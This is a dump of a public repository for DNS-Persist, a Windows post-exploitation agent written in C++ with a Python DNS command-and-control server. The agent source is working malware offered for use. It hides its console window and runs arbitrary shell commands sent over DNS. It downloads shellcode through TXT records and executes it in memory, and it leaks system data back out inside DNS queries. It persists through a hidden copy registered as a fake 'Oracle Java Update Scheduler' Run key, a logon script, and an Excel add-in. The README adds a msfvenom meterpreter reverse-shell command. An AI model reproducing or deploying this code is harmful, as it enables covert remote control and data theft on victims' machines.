Full Code of 0x09AL/DNS-Persist for AI

master 085eb804de7b cached
25 files
34.5 KB
10.2k tokens
75 symbols
1 requests
Download .txt
Repository: 0x09AL/DNS-Persist
Branch: master
Commit: 085eb804de7b
Files: 25
Total size: 34.5 KB

Directory structure:
gitextract_po3zvpy2/

├── .gitignore
├── Agent/
│   ├── Agent/
│   │   ├── Agent.aps
│   │   ├── Agent.rc
│   │   ├── Agent.vcxproj
│   │   ├── Agent.vcxproj.filters
│   │   ├── Agent.vcxproj.user
│   │   ├── Commands.cpp
│   │   ├── Commands.h
│   │   ├── DNSCommunication.cpp
│   │   ├── DNSCommunication.h
│   │   ├── Declarations.h
│   │   ├── Handler.cpp
│   │   ├── Handler.h
│   │   ├── Persistence.cpp
│   │   ├── Persistence.h
│   │   ├── XLSADDIN.xlam
│   │   ├── main.cpp
│   │   └── resource.h
│   └── Agent.sln
├── LICENSE
├── README.md
├── modules/
│   ├── AgentControllerCLI.py
│   ├── DNSListener.py
│   └── __init__.py
└── server.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
*.pyc
*.exe
*.pdb
*.sdf
*.ipch
*.ilk
*.obj
*.tlog
*.txt
*.cache
*.idb
*.manifest
*.log
*.suo
Agent/Agent/Release
Agent/Agent/Debug
.idea/


================================================
FILE: Agent/Agent/Agent.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Debug|Win32">
      <Configuration>Debug</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|Win32">
      <Configuration>Release</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <ProjectGuid>{F3650F8D-4059-43CC-BDFB-0FB803DFE650}</ProjectGuid>
    <RootNamespace>Agent</RootNamespace>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <CharacterSet>MultiByte</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>MultiByte</CharacterSet>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <LinkIncremental>false</LinkIncremental>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <Optimization>Disabled</Optimization>
    </ClCompile>
    <Link>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <Optimization>MaxSpeed</Optimization>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
    </ClCompile>
    <Link>
      <GenerateDebugInformation>true</GenerateDebugInformation>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
    </Link>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="Commands.cpp" />
    <ClCompile Include="DNSCommunication.cpp" />
    <ClCompile Include="Handler.cpp" />
    <ClCompile Include="main.cpp" />
    <ClCompile Include="Persistence.cpp" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="Commands.h" />
    <ClInclude Include="Declarations.h" />
    <ClInclude Include="DNSCommunication.h" />
    <ClInclude Include="Handler.h" />
    <ClInclude Include="Persistence.h" />
    <ClInclude Include="resource.h" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="Agent.rc" />
  </ItemGroup>
  <ItemGroup>
    <None Include="..\..\..\..\..\Desktop\XLSADDIN.xlam" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
</Project>

================================================
FILE: Agent/Agent/Agent.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Filter Include="Source Files">
      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
    </Filter>
    <Filter Include="Header Files">
      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
    </Filter>
    <Filter Include="Resource Files">
      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
    </Filter>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="main.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="DNSCommunication.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="Handler.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="Commands.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="Persistence.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="Declarations.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="DNSCommunication.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="Handler.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="Commands.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="Persistence.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="resource.h">
      <Filter>Header Files</Filter>
    </ClInclude>
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="Agent.rc">
      <Filter>Resource Files</Filter>
    </ResourceCompile>
  </ItemGroup>
  <ItemGroup>
    <None Include="..\..\..\..\..\Desktop\XLSADDIN.xlam" />
  </ItemGroup>
</Project>

================================================
FILE: Agent/Agent/Agent.vcxproj.user
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
</Project>

================================================
FILE: Agent/Agent/Commands.cpp
================================================
#include "Commands.h"




LPCSTR ProcessList(){
	std::string pList = ExecuteCommand("tasklist");
	LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
	StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str());
	return lpResponse;
}
LPCSTR ExecuteShell(LPCSTR command){
	std::string pList = ExecuteCommand(command);
	LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
	StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str());
	return lpResponse;
}
LPCSTR SystemInfo(){
	
	LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
	SYSTEM_INFO siSysInfo;
	GetSystemInfo(&siSysInfo); 

	LPSTR computerName = new CHAR[MAX_COMPUTERNAME_LENGTH + 1];
	DWORD len = MAX_COMPUTERNAME_LENGTH + 1;
	GetComputerNameA(computerName,&len);
	
	DWORD usernameSize = 104;
	LPSTR username = new CHAR[104+1];
	GetUserName(username,&usernameSize);


	StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"----- System Information -----\n\nComputerName: %s\\%s\nNumber of processors: %u\nOEM ID: %u\nProcessor type: %u\n",computerName,username,siSysInfo.dwNumberOfProcessors,siSysInfo.dwOemId,siSysInfo.dwProcessorType);
	
	return lpResponse;
}

char agentName[64];
static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
int stringLength = sizeof(alphanum) - 1;

LPSTR AgentName(){
	DWORD size = 9;
	if(strlen(agentName)==0){
		std::string tempString;
		srand (time(NULL));
		for(unsigned int i = 0; i < size-1; ++i)
		{
			tempString += alphanum[rand() % stringLength];
		}
		StringCbPrintf(agentName,size,"%s",tempString.c_str());
	}
	return agentName;
}

LPCSTR ExecuteShellcode(){
	
	
	HANDLE hLocalThread;
	DWORD lpThreadId;

	std::string temp = GetShellcode(AgentName());
	if(temp == NO_SHELLCODE){
		return "[-] There was no shellcode [-]";
	}

	LPCSTR data = temp.c_str();

	hLocalThread = CreateThread(NULL,0,InjectShellcode,(LPVOID)data,0,&lpThreadId);
	//WaitForSingleObject(hLocalThread,INFINITE);
	Sleep(5);
	if(hLocalThread != NULL){
		return "[+] Shellcode Injected Successfully [+]";
	}
	return "[-] Failed to inject shellcode [-]";

}

DWORD WINAPI InjectShellcode(LPVOID lpData){
	
	LPVOID buffer = NULL;
	LPCSTR data = (LPCSTR)lpData;
	SIZE_T shLength = strlen(data);
	buffer = VirtualAlloc(NULL,shLength+1,(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE);
	memcpy(buffer,data,shLength);
	__asm{
		LEA EAX,buffer
		MOV EDX, DWORD PTR DS:[EAX]
        CALL EDX
    }
	return 0;
}


BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){


	HGLOBAL resMemoryHandler;
	HRSRC resHandler;
	LPCSTR resourceName = MAKEINTRESOURCE(resourceId);
	LPCSTR resourceType = RT_RCDATA;
	LPVOID lpData = NULL;
	SIZE_T size;
	DWORD dwBytesWritten = 0;

	
	resHandler = FindResource(NULL,resourceName,resourceType);
	LPVOID data;

	if(resHandler != NULL){
		resMemoryHandler =LoadResource(NULL,resHandler);
		if(resMemoryHandler != NULL){
			lpData = LockResource(resMemoryHandler);
			if(lpData != NULL){
				size = SizeofResource(NULL,resHandler);
				data = VirtualAlloc(NULL,size+1,(MEM_COMMIT | MEM_RESERVE),PAGE_READWRITE);
				memcpy(data,lpData,size);
			}else{
				return FALSE;
			}
		}else{
			return FALSE;
		}
	}else{
		return FALSE;
	}

	HANDLE fileHandler = CreateFile(fileName,(GENERIC_WRITE),FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

	if(fileHandler != INVALID_HANDLE_VALUE){
		WriteFile(fileHandler,data,size,&dwBytesWritten,NULL);
		CloseHandle(fileHandler);
		return TRUE;
	}
	else{
		return FALSE;
	}

}


================================================
FILE: Agent/Agent/Commands.h
================================================
#include "DNSCommunication.h"

LPCSTR ProcessList();
LPCSTR SystemInfo();
LPCSTR ExecuteShellcode();
LPCSTR ExecuteShell(LPCSTR command);
LPSTR AgentName();

DWORD WINAPI InjectShellcode(LPVOID lpData);
BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId);

================================================
FILE: Agent/Agent/DNSCommunication.cpp
================================================
#include "DNSCommunication.h"

BOOL SendData(LPSTR agentName, LPSTR data){
	
	// Used string because of lack of knowledge :p.
	std::string response;
	
	DWORD data_length;
	DWORD data_remainder;
	DWORD chunks;
	DWORD chunk_size = 32;

	std::string hex_data;
	std::stringstream temp_data;

	DataToHEX(data,hex_data,TRUE);
	data_length = hex_data.length();
	data_remainder = data_length % chunk_size;
	chunks = data_length % chunk_size;

	if(data_length > chunk_size){
		for(unsigned int i=0; i < data_length; i+=chunk_size){
			temp_data.str(std::string()); // Clear the temp_data stream
			if(i == 0){
				temp_data << "7b21" << hex_data.substr(i,chunk_size);// Appends the beginning signature to the data
			}else if((i+data_remainder)>=data_length){
				temp_data << hex_data.substr(i,chunk_size) << "217d";// Appends the end signature to the data
			}else{
				temp_data << hex_data.substr(i,chunk_size);
			}

			response = SendDNSPacket(agentName,"DATA",temp_data.str().c_str());
		}
	}else{
		// To be implmeneted that if there is less data then 32 bytes which is very unusal, to add the stream.
		response = SendDNSPacket(agentName,"DATA",hex_data.c_str()); // Normally we should not get here.
	}
	
	response.erase(0,(int)response.find("RESP:") + 5);
	response.erase(response.length()-2,response.length());

	if(response.compare("OK") == 0){		
		return TRUE;
	}
	// ERROR
	return FALSE;
}

// Not very Windows-like programming but it works.

VOID DataToHEX(const std::string str, std::string& hexstr, bool capital = false)
{
    hexstr.resize(str.size() * 2);
    const size_t a = capital ? 'A' - 1 : 'a' - 1;

    for (size_t i = 0, c = str[0] & 0xFF; i < hexstr.size(); c = str[i / 2] & 0xFF)
    {
        hexstr[i++] = c > 0x9F ? (c / 16 - 9) | a : c / 16 | '0';
        hexstr[i++] = (c & 0xF) > 9 ? (c % 16 - 9) | a : c % 16 | '0';
    }
}

std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData){
	
	LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];
	std::string response;
	PDNS_RECORD dnsRecord;

	if(lstrlen(responseData) == 0){
		// This is probably a probe or command request
		StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s.%s",agentName,packetType,DOMAIN_NAME);
		
	}else{
		// This sends the data to the server.
		StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s-%s.%s",agentName,packetType,responseData,DOMAIN_NAME);
	}
	
	WORD dnsType = DNS_TYPE_TEXT;
	DNS_STATUS dnsStatus;
	dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);

	if(!dnsStatus){
		response = dnsRecord->Data.TXT.pStringArray[0];
	}else{
		response = "ERROR";
	}
	cout << response;
	return response;
}


std::string GetShellcode(LPSTR agentName){
	LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];
	
	BOOL bEnd = FALSE;
	std::string response;
	std::string shellcode;
	PDNS_RECORD dnsRecord;
	WORD dnsType = DNS_TYPE_TEXT;
	DNS_STATUS dnsStatus;

	StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-SHL.%s",agentName,DOMAIN_NAME);

	while(!bEnd){

		dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);
		if(!dnsStatus){
			response = dnsRecord->Data.TXT.pStringArray[0];
		}
		
		if(response.find(NO_SHELLCODE) != std::string::npos){
			return NO_SHELLCODE;
		}
		else if(response.find(START) != std::string::npos){
			shellcode = std::string();
			shellcode = response.erase(0,2);
		}
		else if(response.find(END) != std::string::npos){
			shellcode.append(response.erase(response.length()-2,response.length()));
			bEnd = TRUE;
		}else{
			shellcode.append(response);
		}
		
		
	}

	// This is probably not the best way to do this but hey i'm not an expert in C++
	SIZE_T len;
	len = shellcode.length();
	std::string returnValue;
	for(int i=0; i< len; i+=2)
	{
		std::string byte = shellcode.substr(i,2);
		char chr = (char) (int)strtol(byte.c_str(), NULL, 16);
		returnValue.push_back(chr);
	}
	
	return returnValue;

}


std::string ExecuteCommand(LPCSTR cmd) {
	std::string data;
	FILE * stream;
	const int max_buffer = 256;
	char buffer[max_buffer];
	stream = _popen(cmd, "r");
	if (stream) {
	while (!feof(stream))
	if (fgets(buffer, max_buffer, stream) != NULL) data.append(buffer);
	_pclose(stream);
	}
	return data;
}

================================================
FILE: Agent/Agent/DNSCommunication.h
================================================
#include "Declarations.h"



BOOL SendData(LPSTR agentName, LPSTR data);
VOID DataToHEX(const std::string str, std::string& hexstr, bool capital);
std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData);
std::string ExecuteCommand(LPCSTR command);
std::string GetShellcode(LPSTR agentName);






================================================
FILE: Agent/Agent/Declarations.h
================================================
#include <Windows.h>
#include <Strsafe.h>
#include <Windns.h>
#include "resource.h"
#include "Shlwapi.h"

#include <iostream>
#include <string>
#include <sstream>
#include <algorithm>
#include <ctime>


#pragma comment(lib, "Shlwapi.lib")
#pragma comment (lib, "Dnsapi.lib")


using std::cout;


#define MAX_DOMAIN_LENGTH 2048
#define PROBE "PROBE"
#define CMD "CMD"

#define DOMAIN_NAME "example.com"
#define MAX_DATA_LENGTH 1048576

#define START "{!"
#define END "!}"
#define NO_SHELLCODE "!@!"

#define PERSIST_RUNKEY 1
#define PERSIST_LOGONSCRIPT 2
#define PERSIST_EXCELADDIN 3



================================================
FILE: Agent/Agent/Handler.cpp
================================================
#include "Handler.h"

LPCSTR HandleCommand(LPCSTR command){

	std::string data = command;

	if(strstr(command,"PRT-") != NULL){
		data.erase(0,4);
		DWORD method = atoi(data.c_str());
		return Persist(method);
	}
	else if(strstr(command,"SYS") != NULL){
		return SystemInfo();
	}
	else if(strstr(command,"PSL") != NULL){
		return ProcessList();
	}
	else if(strstr(command,"INJ") != NULL){
		return ExecuteShellcode();
	}
	else if(strstr(command,"ECM-") != NULL){
		data.erase(0,4);
		return ExecuteShell(data.c_str());
	}

	return "ERROR HANDLING COMMAND";

}

================================================
FILE: Agent/Agent/Handler.h
================================================
#include "Declarations.h"
#include "Persistence.h"
#include "Commands.h"

LPCSTR HandleCommand(LPCSTR command);

================================================
FILE: Agent/Agent/Persistence.cpp
================================================
#include "Persistence.h"

LPCSTR Persist(DWORD method){

	switch(method){
		case PERSIST_RUNKEY:
			if(PersistRunKey()){
				return "[+] Run key Persistence Successfull [+]";
			}
		case PERSIST_LOGONSCRIPT:
			if(PersistLogonScript()){
				return "[+] Logon script Persistence Successfull [+]";
			}
		case PERSIST_EXCELADDIN:
			if(PersistExcelAddin()){
				return "[+] Excel addin Persistence Successfull [+]";
			}
	}
	return "[-] Persistence failed [-]";
}


BOOL PersistRunKey(){
	
	LPSTR cFile = new CHAR[MAX_PATH+1];
	LPSTR fDestination = new CHAR[MAX_PATH+1];
	LPSTR appdata = new CHAR[MAX_PATH+1];
	GetEnvironmentVariable("appdata",appdata,MAX_PATH);

	StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",appdata);

	GetModuleFileName(NULL,cFile,MAX_PATH);
	if(CopyFile(cFile,fDestination,TRUE) != 0){
		SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
		HKEY hKey;
		RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
		RegSetValueEx(hKey,"Oracle Java Update Scheduler",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);
		RegCloseKey(hKey);
		return TRUE;
		
	}
	return FALSE;
}


BOOL PersistLogonScript(){

	LPSTR cFile = new CHAR[MAX_PATH+1];
	LPSTR fDestination = new CHAR[MAX_PATH+1];
	LPSTR userProfile = new CHAR[MAX_PATH+1];
	GetEnvironmentVariable("userprofile",userProfile,MAX_PATH);
	StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",userProfile);
	GetModuleFileName(NULL,cFile,MAX_PATH);
	if(CopyFile(cFile,fDestination,TRUE) != 0){
		SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
		HKEY hKey;
		RegOpenKey(HKEY_CURRENT_USER,"Environment",&hKey);
		RegSetValueEx(hKey,"UserInitMprLogonScript",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);
		RegCloseKey(hKey);
		return TRUE;
	}
	return FALSE;



}


BOOL PersistExcelAddin(){

	LPSTR appData = new CHAR[MAX_PATH+1];
	LPSTR fileDest = new CHAR[MAX_PATH+1];
	
	GetEnvironmentVariable("appdata",appData,MAX_PATH);
	StringCbPrintf(fileDest,MAX_PATH,"%s\\Microsoft\\Excel\\XLSTART",appData);

	
	if(PathFileExists(fileDest)){
		StringCbPrintf(fileDest,MAX_PATH,"%s\\XLS_ADDIN.xlam",fileDest);
		DropFileFromRes(fileDest,IDR_RCDATA1);
		LPSTR cFile = new CHAR[MAX_PATH+1];
		LPSTR fDestination = new CHAR[MAX_PATH+1];
		LPSTR appData = new CHAR[MAX_PATH+1];
		GetEnvironmentVariable("appdata",appData,MAX_PATH);
		StringCbPrintf(fDestination,MAX_PATH,"%s\\jsched.exe",appData);
		GetModuleFileName(NULL,cFile,MAX_PATH);
		if(CopyFile(cFile,fDestination,TRUE) != 0){
			SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
			return TRUE;
		}
	}

	return FALSE;
}

================================================
FILE: Agent/Agent/Persistence.h
================================================
#include "Declarations.h"
#include "Commands.h"


LPCSTR Persist(DWORD method);
BOOL PersistRunKey();
BOOL PersistLogonScript();
BOOL PersistExcelAddin();


================================================
FILE: Agent/Agent/main.cpp
================================================
#include "Declarations.h"
#include "DNSCommunication.h"
#include "Handler.h"
#include "Commands.h"

int main(){

	ShowWindow(GetConsoleWindow(), SW_HIDE);
	LPSTR agentName = AgentName();
	std::string response;
	std::string tmp_command;
	DWORD numberOfCommands = 0;
	DWORD i = 0;
	while(TRUE){
		Sleep(5000);
		response = SendDNSPacket(agentName,PROBE,NULL);
		if (response.find("There were no commands") == std::string::npos){
			if (response.find("NR:")!= std::string::npos){
				// This gets the number of commands from the DNS server.
				response.erase(0,(int)response.find(":")+1);
				numberOfCommands = atoi(response.c_str());
				for(i=0;i<numberOfCommands;i++){
					// The parsing sucks but maybe I will fix it in the future.
					tmp_command = SendDNSPacket(agentName,CMD,NULL);
					tmp_command.erase(0,(int)tmp_command.find("CMD:") + 4);
					SendData(agentName,const_cast<char*>(HandleCommand(tmp_command.c_str())));
				}
			}
		}
	}
}

================================================
FILE: Agent/Agent.sln
================================================

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual C++ Express 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Agent", "Agent\Agent.vcxproj", "{F3650F8D-4059-43CC-BDFB-0FB803DFE650}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Debug|Win32 = Debug|Win32
		Release|Win32 = Release|Win32
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.ActiveCfg = Debug|Win32
		{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.Build.0 = Debug|Win32
		{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.ActiveCfg = Release|Win32
		{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.Build.0 = Release|Win32
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
EndGlobal


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2017 Rio

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
# DNS-Persist
DNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future.

## Getting Started
### Author
0x09AL - https://twitter.com/0x09al
### Disclaimer
DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES.

THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE.

## Did I reinvent the wheel ?
There is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first "real program" in C++ (so expect some cringe worthy code). 

Suggestions about features and improvements are open.

## Architecture

There are two main parts:
1. DNS server
2. Agent

![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-5.png "Architecture")

## Features
### Persistence mechanisms
This version has only 3 persistence mechanisms. More will be added later.
1. LogonScript persistence.
2. RunKey persistence.
3. Excel Addin persistence.

### 'Interactive' command shell
This version supports pseudo-interactive command shell that you can use to execute system commands.


### Shellcode Injection
This version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode.

#### Shellcode generation example
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
```

## TODO LIST
1. Add encryption.  **This version does not have any encryption so take your own risks when using it.**
2. Add more persistence mechanisms.
3. Agent in different programming languages.

## Installation & Usage
### Server side
```
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
```
By default a DNS server on port 53 will be started. You can change that on the server.py file.

### Agent
I used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy.

Keep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name.

The domain nameservers should point to the DNS-Persist IP address.


```
#define DOMAIN_NAME "example.com"
```

## Screenshots

1. Picture-1

![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-1.png "Picture-1")

2. Picture-2

![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-2.png "Picture-2")

3. Picture-3

![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-3.png "Picture-3")

4. Picture-4

![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-4.png "Picture-4")





================================================
FILE: modules/AgentControllerCLI.py
================================================
import cmd

activeAgents = ["PC-01","FUCK"]


def changeInteractedAgent(agent):
	print agent

class Input(cmd.Cmd):


	AGENTS = activeAgents
	prompt = "DNS-C2 #> "
	def do_agents(self,s):
		self.list_agents()
	def do_interact(self,agent):
		self.AGENTS = activeAgents
		if(agent in self.AGENTS):
			print "[+] Interacting with : " + agent + " [+]"
			changeInteractedAgent(agent)
			agentInteraction = AgentCMD()
			agentInteraction.prompt = self.prompt + "(" + agent + "): "
			agentInteraction.cmdloop()
		else:
			print "[-] Agent not valid [-]"

	def complete_interact(self, text, line, begidx, endidx):
		if not text:
			completions = self.AGENTS[:]
		else:
			completions = [ f
			for f in self.AGENTS
			if f.startswith(text)
			]
		return completions
	def do_quit(self,s):
		exit(0)
	def emptyline(self):
		pass
	def list_agents(self):
		for agent in activeAgents:
			print agent
			

def getInteractedAgent():
	global interactedAgent
	return interactedAgent



class AgentCMD(cmd.Cmd):

	# This is the Agent command line .
	def do_sysinfo(self,s):
		sendTask(interactedAgent,"{SHELL}systeminfo")
	def do_bypassuac(self,s):
		sendTask(interactedAgent,"bypassuac")
	def do_keylog_start(self,s):
		sendTask(interactedAgent,"keylog_start")
	def do_keylog_stop(self,s):
		sendTask(interactedAgent,"keylog_stop")
	def do_keylog_dump(self,s):
		sendTask(interactedAgent,"keylog_dump")
	def do_exec(self,s):
		sendTask(interactedAgent,"{SHELL}%s" % s)
	def do_downloadexecute(self,s):
		sendTask(interactedAgent,"{DOWNLOAD}%s" % s)
	def do_persist(self,s):
		sendTask(interactedAgent,"persist")
	def do_back(self,s):
		interactedAgent = ""
		return True
	def emptyline(self):
		pass

================================================
FILE: modules/DNSListener.py
================================================
from dnslib import *
import socket
import time
import threading
import cmd


interactedAgent = ""
activeAgents = []
agentCommands = {}

agentData = {}
agentTimes = {}
agentShellcode = {}

persistenceMethods = {"runkey":1,"logonscript":2,"exceladdin":3}



def sendTask(agent,command):
	agentCommands[agent].append([command,"WAITING"])
	
def addShellcode(agent,shellcodefile):
	# Error handling sucks will be improved in the future.
	try:
		f = open(shellcodefile,"r")
		shellcode = f.read()
		f.close()
		if(agentShellcode.has_key(agent)):
			print "[+] Replacing shellcode with the new one [+]"
		agentShellcode[agent] = "{!%s!}" % shellcode
		return True

	except Exception:
		print "[-] Shellcode file not found [-]"
		return False

	

def getInteractedAgent():
	global interactedAgent
	return interactedAgent

def changeInteractedAgent(agent):
	global interactedAgent
	interactedAgent = agent


class DNSListener(object):

	def __init__(self, host="127.0.0.1",port="53"):
		
		print "[+] Starting DNS Listener [+]"

		thread = threading.Thread(target=self.start_server, args=())
		thread.daemon = True # This will become false                           
		thread.start()  


